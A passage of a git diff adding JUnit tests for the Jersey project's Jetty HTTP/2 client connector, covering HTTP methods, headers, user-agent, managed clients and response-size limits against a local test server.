+import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java new file mode 100644 index 00000000000..c59e5576ad5 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java @@ -0,0 +1,110 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the HTTP2 presence. + * + */ +public class Http2PresenceTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + @Test + public void testHttp2Presence() { + final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider(); + assertTrue(provider instanceof JettyHttp2ConnectorProvider); + + final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target()); + assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java new file mode 100644 index 00000000000..cb3b3198a30 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java new file mode 100644 index 00000000000..215408bd25d --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java @@ -0,0 +1,250 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + *

    + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + *

    + *

    + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + *

    + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + *

    + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + *

    + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to /internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java new file mode 100644 index 00000000000..8412c41ebbd --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java @@ -0,0 +1,146 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java new file mode 100644 index 00000000000..1c14296c4b7 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java @@ -0,0 +1,95 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Response.Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java new file mode 100644 index 00000000000..e3b2c3d0075 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java @@ -0,0 +1,161 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), 